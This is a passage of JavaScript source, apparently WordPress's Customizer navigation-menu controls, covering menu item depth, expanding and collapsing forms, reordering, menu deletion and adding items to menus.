				var trimmedTitle, titleText;
				if ( ! item ) {
					return;
				}
				item.title = item.title || '';
				trimmedTitle = item.title.trim();

				titleText = trimmedTitle || item.original_title || api.Menus.data.l10n.untitled;

				if ( item._invalid ) {
					titleText = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', titleText );
				}

				// Don't update to an empty title.
				if ( trimmedTitle || item.original_title ) {
					titleEl
						.text( titleText )
						.removeClass( 'no-title' );
				} else {
					titleEl
						.text( titleText )
						.addClass( 'no-title' );
				}
			} );
		},

		/**
		 *
		 * @return {number}
		 */
		getDepth: function() {
			var control = this, setting = control.setting(), depth = 0;
			if ( ! setting ) {
				return 0;
			}
			while ( setting && setting.menu_item_parent ) {
				depth += 1;
				control = api.control( 'nav_menu_item[' + setting.menu_item_parent + ']' );
				if ( ! control ) {
					break;
				}
				setting = control.setting();
			}
			return depth;
		},

		/**
		 * Amend the control's params with the data necessary for the JS template just in time.
		 */
		renderContent: function() {
			var control = this,
				settingValue = control.setting(),
				containerClasses;

			control.params.title = settingValue.title || '';
			control.params.depth = control.getDepth();
			control.container.data( 'item-depth', control.params.depth );
			containerClasses = [
				'menu-item',
				'menu-item-depth-' + String( control.params.depth ),
				'menu-item-' + settingValue.object,
				'menu-item-edit-inactive'
			];

			if ( settingValue._invalid ) {
				containerClasses.push( 'menu-item-invalid' );
				control.params.title = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', control.params.title );
			} else if ( 'draft' === settingValue.status ) {
				containerClasses.push( 'pending' );
				control.params.title = api.Menus.data.pendingTitleTpl.replace( '%s', control.params.title );
			}

			control.params.el_classes = containerClasses.join( ' ' );
			control.params.item_type_label = settingValue.type_label;
			control.params.item_type = settingValue.type;
			control.params.url = settingValue.url;
			control.params.target = settingValue.target;
			control.params.attr_title = settingValue.attr_title;
			control.params.classes = _.isArray( settingValue.classes ) ? settingValue.classes.join( ' ' ) : settingValue.classes;
			control.params.xfn = settingValue.xfn;
			control.params.description = settingValue.description;
			control.params.parent = settingValue.menu_item_parent;
			control.params.original_title = settingValue.original_title || '';

			control.container.addClass( control.params.el_classes );

			api.Control.prototype.renderContent.call( control );
		},

		/***********************************************************************
		 * Begin public API methods
		 **********************************************************************/

		/**
		 * @return {wp.customize.controlConstructor.nav_menu|null}
		 */
		getMenuControl: function() {
			var control = this, settingValue = control.setting();
			if ( settingValue && settingValue.nav_menu_term_id ) {
				return api.control( 'nav_menu[' + settingValue.nav_menu_term_id + ']' );
			} else {
				return null;
			}
		},

		/**
		 * Expand the accordion section containing a control
		 */
		expandControlSection: function() {
			var $section = this.container.closest( '.accordion-section' );
			if ( ! $section.hasClass( 'open' ) ) {
				$section.find( '.accordion-section-title:first' ).trigger( 'click' );
			}
		},

		/**
		 * @since 4.6.0
		 *
		 * @param {Boolean} expanded
		 * @param {Object} [params]
		 * @return {Boolean} False if state already applied.
		 */
		_toggleExpanded: api.Section.prototype._toggleExpanded,

		/**
		 * @since 4.6.0
		 *
		 * @param {Object} [params]
		 * @return {Boolean} False if already expanded.
		 */
		expand: api.Section.prototype.expand,

		/**
		 * Expand the menu item form control.
		 *
		 * @since 4.5.0 Added params.completeCallback.
		 *
		 * @param {Object}   [params] - Optional params.
		 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
		 */
		expandForm: function( params ) {
			this.expand( params );
		},

		/**
		 * @since 4.6.0
		 *
		 * @param {Object} [params]
		 * @return {Boolean} False if already collapsed.
		 */
		collapse: api.Section.prototype.collapse,

		/**
		 * Collapse the menu item form control.
		 *
		 * @since 4.5.0 Added params.completeCallback.
		 *
		 * @param {Object}   [params] - Optional params.
		 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
		 */
		collapseForm: function( params ) {
			this.collapse( params );
		},

		/**
		 * Expand or collapse the menu item control.
		 *
		 * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide )
		 * @since 4.5.0 Added params.completeCallback.
		 *
		 * @param {boolean}  [showOrHide] - If not supplied, will be inverse of current visibility
		 * @param {Object}   [params] - Optional params.
		 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
		 */
		toggleForm: function( showOrHide, params ) {
			if ( typeof showOrHide === 'undefined' ) {
				showOrHide = ! this.expanded();
			}
			if ( showOrHide ) {
				this.expand( params );
			} else {
				this.collapse( params );
			}
		},

		/**
		 * Expand or collapse the menu item control.
		 *
		 * @since 4.6.0
		 * @param {boolean}  [showOrHide] - If not supplied, will be inverse of current visibility
		 * @param {Object}   [params] - Optional params.
		 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
		 */
		onChangeExpanded: function( showOrHide, params ) {
			var self = this, $menuitem, $inside, complete;

			$menuitem = this.container;
			$inside = $menuitem.find( '.menu-item-settings:first' );
			if ( 'undefined' === typeof showOrHide ) {
				showOrHide = ! $inside.is( ':visible' );
			}

			// Already expanded or collapsed.
			if ( $inside.is( ':visible' ) === showOrHide ) {
				if ( params && params.completeCallback ) {
					params.completeCallback();
				}
				return;
			}

			if ( showOrHide ) {
				// Close all other menu item controls before expanding this one.
				api.control.each( function( otherControl ) {
					if ( self.params.type === otherControl.params.type && self !== otherControl ) {
						otherControl.collapseForm();
					}
				} );

				complete = function() {
					$menuitem
						.removeClass( 'menu-item-edit-inactive' )
						.addClass( 'menu-item-edit-active' );
					self.container.trigger( 'expanded' );

					if ( params && params.completeCallback ) {
						params.completeCallback();
					}
				};

				$menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'true' );
				$inside.slideDown( 'fast', complete );

				self.container.trigger( 'expand' );
			} else {
				complete = function() {
					$menuitem
						.addClass( 'menu-item-edit-inactive' )
						.removeClass( 'menu-item-edit-active' );
					self.container.trigger( 'collapsed' );

					if ( params && params.completeCallback ) {
						params.completeCallback();
					}
				};

				self.container.trigger( 'collapse' );

				$menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'false' );
				$inside.slideUp( 'fast', complete );
			}
		},

		/**
		 * Expand the containing menu section, expand the form, and focus on
		 * the first input in the control.
		 *
		 * @since 4.5.0 Added params.completeCallback.
		 *
		 * @param {Object}   [params] - Params object.
		 * @param {Function} [params.completeCallback] - Optional callback function when focus has completed.
		 */
		focus: function( params ) {
			params = params || {};
			var control = this, originalCompleteCallback = params.completeCallback, focusControl;

			focusControl = function() {
				control.expandControlSection();

				params.completeCallback = function() {
					var focusable;

					// Note that we can't use :focusable due to a jQuery UI issue. See: https://github.com/jquery/jquery-ui/pull/1583
					focusable = control.container.find( '.menu-item-settings' ).find( 'input, select, textarea, button, object, a[href], [tabindex]' ).filter( ':visible' );
					focusable.first().focus();

					if ( originalCompleteCallback ) {
						originalCompleteCallback();
					}
				};

				control.expandForm( params );
			};

			if ( api.section.has( control.section() ) ) {
				api.section( control.section() ).expand( {
					completeCallback: focusControl
				} );
			} else {
				focusControl();
			}
		},

		/**
		 * Move menu item up one in the menu.
		 */
		moveUp: function() {
			this._changePosition( -1 );
			wp.a11y.speak( api.Menus.data.l10n.movedUp );
		},

		/**
		 * Move menu item up one in the menu.
		 */
		moveDown: function() {
			this._changePosition( 1 );
			wp.a11y.speak( api.Menus.data.l10n.movedDown );
		},
		/**
		 * Move menu item and all children up one level of depth.
		 */
		moveLeft: function() {
			this._changeDepth( -1 );
			wp.a11y.speak( api.Menus.data.l10n.movedLeft );
		},

		/**
		 * Move menu item and children one level deeper, as a submenu of the previous item.
		 */
		moveRight: function() {
			this._changeDepth( 1 );
			wp.a11y.speak( api.Menus.data.l10n.movedRight );
		},

		/**
		 * Note that this will trigger a UI update, causing child items to
		 * move as well and cardinal order class names to be updated.
		 *
		 * @private
		 *
		 * @param {number} offset 1|-1
		 */
		_changePosition: function( offset ) {
			var control = this,
				adjacentSetting,
				settingValue = _.clone( control.setting() ),
				siblingSettings = [],
				realPosition;

			if ( 1 !== offset && -1 !== offset ) {
				throw new Error( 'Offset changes by 1 are only supported.' );
			}

			// Skip moving deleted items.
			if ( ! control.setting() ) {
				return;
			}

			// Locate the other items under the same parent (siblings).
			_( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
				if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
					siblingSettings.push( otherControl.setting );
				}
			});
			siblingSettings.sort(function( a, b ) {
				return a().position - b().position;
			});

			realPosition = _.indexOf( siblingSettings, control.setting );
			if ( -1 === realPosition ) {
				throw new Error( 'Expected setting to be among siblings.' );
			}

			// Skip doing anything if the item is already at the edge in the desired direction.
			if ( ( realPosition === 0 && offset < 0 ) || ( realPosition === siblingSettings.length - 1 && offset > 0 ) ) {
				// @todo Should we allow a menu item to be moved up to break it out of a parent? Adopt with previous or following parent?
				return;
			}

			// Update any adjacent menu item setting to take on this item's position.
			adjacentSetting = siblingSettings[ realPosition + offset ];
			if ( adjacentSetting ) {
				adjacentSetting.set( $.extend(
					_.clone( adjacentSetting() ),
					{
						position: settingValue.position
					}
				) );
			}

			settingValue.position += offset;
			control.setting.set( settingValue );
		},

		/**
		 * Note that this will trigger a UI update, causing child items to
		 * move as well and cardinal order class names to be updated.
		 *
		 * @private
		 *
		 * @param {number} offset 1|-1
		 */
		_changeDepth: function( offset ) {
			if ( 1 !== offset && -1 !== offset ) {
				throw new Error( 'Offset changes by 1 are only supported.' );
			}
			var control = this,
				settingValue = _.clone( control.setting() ),
				siblingControls = [],
				realPosition,
				siblingControl,
				parentControl;

			// Locate the other items under the same parent (siblings).
			_( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
				if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
					siblingControls.push( otherControl );
				}
			});
			siblingControls.sort(function( a, b ) {
				return a.setting().position - b.setting().position;
			});

			realPosition = _.indexOf( siblingControls, control );
			if ( -1 === realPosition ) {
				throw new Error( 'Expected control to be among siblings.' );
			}

			if ( -1 === offset ) {
				// Skip moving left an item that is already at the top level.
				if ( ! settingValue.menu_item_parent ) {
					return;
				}

				parentControl = api.control( 'nav_menu_item[' + settingValue.menu_item_parent + ']' );

				// Make this control the parent of all the following siblings.
				_( siblingControls ).chain().slice( realPosition ).each(function( siblingControl, i ) {
					siblingControl.setting.set(
						$.extend(
							{},
							siblingControl.setting(),
							{
								menu_item_parent: control.params.menu_item_id,
								position: i
							}
						)
					);
				});

				// Increase the positions of the parent item's subsequent children to make room for this one.
				_( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
					var otherControlSettingValue, isControlToBeShifted;
					isControlToBeShifted = (
						otherControl.setting().menu_item_parent === parentControl.setting().menu_item_parent &&
						otherControl.setting().position > parentControl.setting().position
					);
					if ( isControlToBeShifted ) {
						otherControlSettingValue = _.clone( otherControl.setting() );
						otherControl.setting.set(
							$.extend(
								otherControlSettingValue,
								{ position: otherControlSettingValue.position + 1 }
							)
						);
					}
				});

				// Make this control the following sibling of its parent item.
				settingValue.position = parentControl.setting().position + 1;
				settingValue.menu_item_parent = parentControl.setting().menu_item_parent;
				control.setting.set( settingValue );

			} else if ( 1 === offset ) {
				// Skip moving right an item that doesn't have a previous sibling.
				if ( realPosition === 0 ) {
					return;
				}

				// Make the control the last child of the previous sibling.
				siblingControl = siblingControls[ realPosition - 1 ];
				settingValue.menu_item_parent = siblingControl.params.menu_item_id;
				settingValue.position = 0;
				_( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
					if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
						settingValue.position = Math.max( settingValue.position, otherControl.setting().position );
					}
				});
				settingValue.position += 1;
				control.setting.set( settingValue );
			}
		}
	} );

	/**
	 * wp.customize.Menus.MenuNameControl
	 *
	 * Customizer control for a nav menu's name.
	 *
	 * @class    wp.customize.Menus.MenuNameControl
	 * @augments wp.customize.Control
	 */
	api.Menus.MenuNameControl = api.Control.extend(/** @lends wp.customize.Menus.MenuNameControl.prototype */{

		ready: function() {
			var control = this;

			if ( control.setting ) {
				var settingValue = control.setting();

				control.nameElement = new api.Element( control.container.find( '.menu-name-field' ) );

				control.nameElement.bind(function( value ) {
					var settingValue = control.setting();
					if ( settingValue && settingValue.name !== value ) {
						settingValue = _.clone( settingValue );
						settingValue.name = value;
						control.setting.set( settingValue );
					}
				});
				if ( settingValue ) {
					control.nameElement.set( settingValue.name );
				}

				control.setting.bind(function( object ) {
					if ( object ) {
						control.nameElement.set( object.name );
					}
				});
			}
		}
	});

	/**
	 * wp.customize.Menus.MenuLocationsControl
	 *
	 * Customizer control for a nav menu's locations.
	 *
	 * @since 4.9.0
	 * @class    wp.customize.Menus.MenuLocationsControl
	 * @augments wp.customize.Control
	 */
	api.Menus.MenuLocationsControl = api.Control.extend(/** @lends wp.customize.Menus.MenuLocationsControl.prototype */{

		/**
		 * Set up the control.
		 *
		 * @since 4.9.0
		 */
		ready: function () {
			var control = this;

			control.container.find( '.assigned-menu-location' ).each(function() {
				var container = $( this ),
					checkbox = container.find( 'input[type=checkbox]' ),
					element = new api.Element( checkbox ),
					navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' ),
					isNewMenu = control.params.menu_id === '',
					updateCheckbox = isNewMenu ? _.noop : function( checked ) {
						element.set( checked );
					},
					updateSetting = isNewMenu ? _.noop : function( checked ) {
						navMenuLocationSetting.set( checked ? control.params.menu_id : 0 );
					},
					updateSelectedMenuLabel = function( selectedMenuId ) {
						var menuSetting = api( 'nav_menu[' + String( selectedMenuId ) + ']' );
						if ( ! selectedMenuId || ! menuSetting || ! menuSetting() ) {
							container.find( '.theme-location-set' ).hide();
						} else {
							container.find( '.theme-location-set' ).show().find( 'span' ).text( displayNavMenuName( menuSetting().name ) );
						}
					};

				updateCheckbox( navMenuLocationSetting.get() === control.params.menu_id );

				checkbox.on( 'change', function() {
					// Note: We can't use element.bind( function( checked ){ ... } ) here because it will trigger a change as well.
					updateSetting( this.checked );
				} );

				navMenuLocationSetting.bind( function( selectedMenuId ) {
					updateCheckbox( selectedMenuId === control.params.menu_id );
					updateSelectedMenuLabel( selectedMenuId );
				} );
				updateSelectedMenuLabel( navMenuLocationSetting.get() );
			});
		},

		/**
		 * Set the selected locations.
		 *
		 * This method sets the selected locations and allows us to do things like
		 * set the default location for a new menu.
		 *
		 * @since 4.9.0
		 *
		 * @param {Object.<string,boolean>} selections - A map of location selections.
		 * @return {void}
		 */
		setSelections: function( selections ) {
			this.container.find( '.menu-location' ).each( function( i, checkboxNode ) {
				var locationId = checkboxNode.dataset.locationId;
				checkboxNode.checked = locationId in selections ? selections[ locationId ] : false;
			} );
		}
	});

	/**
	 * wp.customize.Menus.MenuAutoAddControl
	 *
	 * Customizer control for a nav menu's auto add.
	 *
	 * @class    wp.customize.Menus.MenuAutoAddControl
	 * @augments wp.customize.Control
	 */
	api.Menus.MenuAutoAddControl = api.Control.extend(/** @lends wp.customize.Menus.MenuAutoAddControl.prototype */{

		ready: function() {
			var control = this,
				settingValue = control.setting();

			/*
			 * Since the control is not registered in PHP, we need to prevent the
			 * preview's sending of the activeControls to result in this control
			 * being deactivated.
			 */
			control.active.validate = function() {
				var value, section = api.section( control.section() );
				if ( section ) {
					value = section.active();
				} else {
					value = false;
				}
				return value;
			};

			control.autoAddElement = new api.Element( control.container.find( 'input[type=checkbox].auto_add' ) );

			control.autoAddElement.bind(function( value ) {
				var settingValue = control.setting();
				if ( settingValue && settingValue.name !== value ) {
					settingValue = _.clone( settingValue );
					settingValue.auto_add = value;
					control.setting.set( settingValue );
				}
			});
			if ( settingValue ) {
				control.autoAddElement.set( settingValue.auto_add );
			}

			control.setting.bind(function( object ) {
				if ( object ) {
					control.autoAddElement.set( object.auto_add );
				}
			});
		}

	});

	/**
	 * wp.customize.Menus.MenuControl
	 *
	 * Customizer control for menus.
	 * Note that 'nav_menu' must match the WP_Menu_Customize_Control::$type
	 *
	 * @class    wp.customize.Menus.MenuControl
	 * @augments wp.customize.Control
	 */
	api.Menus.MenuControl = api.Control.extend(/** @lends wp.customize.Menus.MenuControl.prototype */{
		/**
		 * Set up the control.
		 */
		ready: function() {
			var control = this,
				section = api.section( control.section() ),
				menuId = control.params.menu_id,
				menu = control.setting(),
				name,
				widgetTemplate,
				select;

			if ( 'undefined' === typeof this.params.menu_id ) {
				throw new Error( 'params.menu_id was not defined' );
			}

			/*
			 * Since the control is not registered in PHP, we need to prevent the
			 * preview's sending of the activeControls to result in this control
			 * being deactivated.
			 */
			control.active.validate = function() {
				var value;
				if ( section ) {
					value = section.active();
				} else {
					value = false;
				}
				return value;
			};

			control.$controlSection = section.headContainer;
			control.$sectionContent = control.container.closest( '.accordion-section-content' );

			this._setupModel();

			api.section( control.section(), function( section ) {
				section.deferred.initSortables.done(function( menuList ) {
					control._setupSortable( menuList );
				});
			} );

			this._setupAddition();
			this._setupTitle();

			// Add menu to Navigation Menu widgets.
			if ( menu ) {
				name = displayNavMenuName( menu.name );

				// Add the menu to the existing controls.
				api.control.each( function( widgetControl ) {
					if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
						return;
					}
					widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).show();
					widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).hide();

					select = widgetControl.container.find( 'select' );
					if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) {
						select.append( new Option( name, menuId ) );
					}
				} );

				// Add the menu to the widget template.
				widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' );
				widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).show();
				widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).hide();
				select = widgetTemplate.find( '.widget-inside select:first' );
				if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) {
					select.append( new Option( name, menuId ) );
				}
			}

			/*
			 * Wait for menu items to be added.
			 * Ideally, we'd bind to an event indicating construction is complete,
			 * but deferring appears to be the best option today.
			 */
			_.defer( function () {
				control.updateInvitationVisibility();
			} );
		},

		/**
		 * Update ordering of menu item controls when the setting is updated.
		 */
		_setupModel: function() {
			var control = this,
				menuId = control.params.menu_id;

			control.setting.bind( function( to ) {
				var name;
				if ( false === to ) {
					control._handleDeletion();
				} else {
					// Update names in the Navigation Menu widgets.
					name = displayNavMenuName( to.name );
					api.control.each( function( widgetControl ) {
						if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
							return;
						}
						var select = widgetControl.container.find( 'select' );
						select.find( 'option[value=' + String( menuId ) + ']' ).text( name );
					});
				}
			} );
		},

		/**
		 * Allow items in each menu to be re-ordered, and for the order to be previewed.
		 *
		 * Notice that the UI aspects here are handled by wpNavMenu.initSortables()
		 * which is called in MenuSection.onChangeExpanded()
		 *
		 * @param {Object} menuList - The element that has sortable().
		 */
		_setupSortable: function( menuList ) {
			var control = this;

			if ( ! menuList.is( control.$sectionContent ) ) {
				throw new Error( 'Unexpected menuList.' );
			}

			menuList.on( 'sortstart', function() {
				control.isSorting = true;
			});

			menuList.on( 'sortstop', function() {
				setTimeout( function() { // Next tick.
					var menuItemContainerIds = control.$sectionContent.sortable( 'toArray' ),
						menuItemControls = [],
						position = 0,
						priority = 10;

					control.isSorting = false;

					// Reset horizontal scroll position when done dragging.
					control.$sectionContent.scrollLeft( 0 );

					_.each( menuItemContainerIds, function( menuItemContainerId ) {
						var menuItemId, menuItemControl, matches;
						matches = menuItemContainerId.match( /^customize-control-nav_menu_item-(-?\d+)$/, '' );
						if ( ! matches ) {
							return;
						}
						menuItemId = parseInt( matches[1], 10 );
						menuItemControl = api.control( 'nav_menu_item[' + String( menuItemId ) + ']' );
						if ( menuItemControl ) {
							menuItemControls.push( menuItemControl );
						}
					} );

					_.each( menuItemControls, function( menuItemControl ) {
						if ( false === menuItemControl.setting() ) {
							// Skip deleted items.
							return;
						}
						var setting = _.clone( menuItemControl.setting() );
						position += 1;
						priority += 1;
						setting.position = position;
						menuItemControl.priority( priority );

						// Note that wpNavMenu will be setting this .menu-item-data-parent-id input's value.
						setting.menu_item_parent = parseInt( menuItemControl.container.find( '.menu-item-data-parent-id' ).val(), 10 );
						if ( ! setting.menu_item_parent ) {
							setting.menu_item_parent = 0;
						}

						menuItemControl.setting.set( setting );
					});
				});

			});
			control.isReordering = false;

			/**
			 * Keyboard-accessible reordering.
			 */
			this.container.find( '.reorder-toggle' ).on( 'click', function() {
				control.toggleReordering( ! control.isReordering );
			} );
		},

		/**
		 * Set up UI for adding a new menu item.
		 */
		_setupAddition: function() {
			var self = this;

			this.container.find( '.add-new-menu-item' ).on( 'click', function( event ) {
				if ( self.$sectionContent.hasClass( 'reordering' ) ) {
					return;
				}

				if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) {
					$( this ).attr( 'aria-expanded', 'true' );
					api.Menus.availableMenuItemsPanel.open( self );
				} else {
					$( this ).attr( 'aria-expanded', 'false' );
					api.Menus.availableMenuItemsPanel.close();
					event.stopPropagation();
				}
			} );
		},

		_handleDeletion: function() {
			var control = this,
				section,
				menuId = control.params.menu_id,
				removeSection,
				widgetTemplate,
				navMenuCount = 0;
			section = api.section( control.section() );
			removeSection = function() {
				section.container.remove();
				api.section.remove( section.id );
			};

			if ( section && section.expanded() ) {
				section.collapse({
					completeCallback: function() {
						removeSection();
						wp.a11y.speak( api.Menus.data.l10n.menuDeleted );
						api.panel( 'nav_menus' ).focus();
					}
				});
			} else {
				removeSection();
			}

			api.each(function( setting ) {
				if ( /^nav_menu\[/.test( setting.id ) && false !== setting() ) {
					navMenuCount += 1;
				}
			});

			// Remove the menu from any Navigation Menu widgets.
			api.control.each(function( widgetControl ) {
				if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
					return;
				}
				var select = widgetControl.container.find( 'select' );
				if ( select.val() === String( menuId ) ) {
					select.prop( 'selectedIndex', 0 ).trigger( 'change' );
				}

				widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount );
				widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount );
				widgetControl.container.find( 'option[value=' + String( menuId ) + ']' ).remove();
			});

			// Remove the menu to the nav menu widget template.
			widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' );
			widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount );
			widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount );
			widgetTemplate.find( 'option[value=' + String( menuId ) + ']' ).remove();
		},

		/**
		 * Update Section Title as menu name is changed.
		 */
		_setupTitle: function() {
			var control = this;

			control.setting.bind( function( menu ) {
				if ( ! menu ) {
					return;
				}

				var section = api.section( control.section() ),
					menuId = control.params.menu_id,
					controlTitle = section.headContainer.find( '.accordion-section-title' ),
					sectionTitle = section.contentContainer.find( '.customize-section-title h3' ),
					location = section.headContainer.find( '.menu-in-location' ),
					action = sectionTitle.find( '.customize-action' ),
					name = displayNavMenuName( menu.name );

				// Update the control title.
				controlTitle.text( name );
				if ( location.length ) {
					location.appendTo( controlTitle );
				}

				// Update the section title.
				sectionTitle.text( name );
				if ( action.length ) {
					action.prependTo( sectionTitle );
				}

				// Update the nav menu name in location selects.
				api.control.each( function( control ) {
					if ( /^nav_menu_locations\[/.test( control.id ) ) {
						control.container.find( 'option[value=' + menuId + ']' ).text( name );
					}
				} );

				// Update the nav menu name in all location checkboxes.
				section.contentContainer.find( '.customize-control-checkbox input' ).each( function() {
					if ( $( this ).prop( 'checked' ) ) {
						$( '.current-menu-location-name-' + $( this ).data( 'location-id' ) ).text( name );
					}
				} );
			} );
		},

		/***********************************************************************
		 * Begin public API methods
		 **********************************************************************/

		/**
		 * Enable/disable the reordering UI
		 *
		 * @param {boolean} showOrHide to enable/disable reordering
		 */
		toggleReordering: function( showOrHide ) {
			var addNewItemBtn = this.container.find( '.add-new-menu-item' ),
				reorderBtn = this.container.find( '.reorder-toggle' ),
				itemsTitle = this.$sectionContent.find( '.item-title' );

			showOrHide = Boolean( showOrHide );

			if ( showOrHide === this.$sectionContent.hasClass( 'reordering' ) ) {
				return;
			}

			this.isReordering = showOrHide;
			this.$sectionContent.toggleClass( 'reordering', showOrHide );
			this.$sectionContent.sortable( this.isReordering ? 'disable' : 'enable' );
			if ( this.isReordering ) {
				addNewItemBtn.attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
				reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOff );
				wp.a11y.speak( api.Menus.data.l10n.reorderModeOn );
				itemsTitle.attr( 'aria-hidden', 'false' );
			} else {
				addNewItemBtn.removeAttr( 'tabindex aria-hidden' );
				reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOn );
				wp.a11y.speak( api.Menus.data.l10n.reorderModeOff );
				itemsTitle.attr( 'aria-hidden', 'true' );
			}

			if ( showOrHide ) {
				_( this.getMenuItemControls() ).each( function( formControl ) {
					formControl.collapseForm();
				} );
			}
		},

		/**
		 * @return {wp.customize.controlConstructor.nav_menu_item[]}
		 */
		getMenuItemControls: function() {
			var menuControl = this,
				menuItemControls = [],
				menuTermId = menuControl.params.menu_id;

			api.control.each(function( control ) {
				if ( 'nav_menu_item' === control.params.type && control.setting() && menuTermId === control.setting().nav_menu_term_id ) {
					menuItemControls.push( control );
				}
			});

			return menuItemControls;
		},

		/**
		 * Make sure that each menu item control has the proper depth.
		 */
		reflowMenuItems: function() {
			var menuControl = this,
				menuItemControls = menuControl.getMenuItemControls(),
				reflowRecursively;

			reflowRecursively = function( context ) {
				var currentMenuItemControls = [],
					thisParent = context.currentParent;
				_.each( context.menuItemControls, function( menuItemControl ) {
					if ( thisParent === menuItemControl.setting().menu_item_parent ) {
						currentMenuItemControls.push( menuItemControl );
						// @todo We could remove this item from menuItemControls now, for efficiency.
					}
				});
				currentMenuItemControls.sort( function( a, b ) {
					return a.setting().position - b.setting().position;
				});

				_.each( currentMenuItemControls, function( menuItemControl ) {
					// Update position.
					context.currentAbsolutePosition += 1;
					menuItemControl.priority.set( context.currentAbsolutePosition ); // This will change the sort order.

					// Update depth.
					if ( ! menuItemControl.container.hasClass( 'menu-item-depth-' + String( context.currentDepth ) ) ) {
						_.each( menuItemControl.container.prop( 'className' ).match( /menu-item-depth-\d+/g ), function( className ) {
							menuItemControl.container.removeClass( className );
						});
						menuItemControl.container.addClass( 'menu-item-depth-' + String( context.currentDepth ) );
					}
					menuItemControl.container.data( 'item-depth', context.currentDepth );

					// Process any children items.
					context.currentDepth += 1;
					context.currentParent = menuItemControl.params.menu_item_id;
					reflowRecursively( context );
					context.currentDepth -= 1;
					context.currentParent = thisParent;
				});

				// Update class names for reordering controls.
				if ( currentMenuItemControls.length ) {
					_( currentMenuItemControls ).each(function( menuItemControl ) {
						menuItemControl.container.removeClass( 'move-up-disabled move-down-disabled move-left-disabled move-right-disabled' );
						if ( 0 === context.currentDepth ) {
							menuItemControl.container.addClass( 'move-left-disabled' );
						} else if ( 10 === context.currentDepth ) {
							menuItemControl.container.addClass( 'move-right-disabled' );
						}
					});

					currentMenuItemControls[0].container
						.addClass( 'move-up-disabled' )
						.addClass( 'move-right-disabled' )
						.toggleClass( 'move-down-disabled', 1 === currentMenuItemControls.length );
					currentMenuItemControls[ currentMenuItemControls.length - 1 ].container
						.addClass( 'move-down-disabled' )
						.toggleClass( 'move-up-disabled', 1 === currentMenuItemControls.length );
				}
			};

			reflowRecursively( {
				menuItemControls: menuItemControls,
				currentParent: 0,
				currentDepth: 0,
				currentAbsolutePosition: 0
			} );

			menuControl.updateInvitationVisibility( menuItemControls );
			menuControl.container.find( '.reorder-toggle' ).toggle( menuItemControls.length > 1 );
		},

		/**
		 * Note that this function gets debounced so that when a lot of setting
		 * changes are made at once, for instance when moving a menu item that
		 * has child items, this function will only be called once all of the
		 * settings have been updated.
		 */
		debouncedReflowMenuItems: _.debounce( function() {
			this.reflowMenuItems.apply( this, arguments );
		}, 0 ),

		/**
		 * Add a new item to this menu.
		 *
		 * @param {Object} item - Value for the nav_menu_item setting to be created.
		 * @return {wp.customize.Menus.controlConstructor.nav_menu_item} The newly-created nav_menu_item control instance.
		 */
		addItemToMenu: function( item ) {
			var menuControl = this, customizeId, settingArgs, setting, menuItemControl, placeholderId, position = 0, priority = 10,
				originalItemId = item.id || '';

			_.each( menuControl.getMenuItemControls(), function( control ) {
				if ( false === control.setting() ) {
					return;
				}
				priority = Math.max( priority, control.priority() );
				if ( 0 === control.setting().menu_item_parent ) {
					position = Math.max( position, control.setting().position );
				}
			});
			position += 1;
			priority += 1;

			item = $.extend(
				{},
				api.Menus.data.defaultSettingValues.nav_menu_item,
				item,
				{
					nav_menu_term_id: menuControl.params.menu_id,
					original_title: item.title,
					position: position
				}
			);
			delete item.id; // Only used by Backbone.

			placeholderId = api.Menus.generatePlaceholderAutoIncrementId();
			customizeId = 'nav_menu_item[' + String( placeholderId ) + ']';
			settingArgs = {
				type: 'nav_menu_item',
				transport: api.Menus.data.settingTransport,
				previewer: api.previewer
			};
			setting = api.create( customizeId, customizeId, {}, settingArgs );
			setting.set( item ); // Change from initial empty object to actual item to mark as dirty.

			// Add the menu item control.
			menuItemControl = new api.controlConstructor.nav_menu_item( customizeId, {
				type: 'nav_menu_item',
				section: menuControl.id,
				priority: priority,
				settings: {
					'default': customizeId
				},
				menu_item_id: placeholderId,
				original_item_id: originalItemId
			} );

			api.control.add( menuItemControl );
			setting.preview();
			menuControl.debouncedReflowMenuItems();

			wp.a11y.speak( api.Menus.data.l10n.itemAdded );

			return menuItemControl;
		},

		/**
		 * Show an invitation to add new menu items when there are no menu items.
		 *
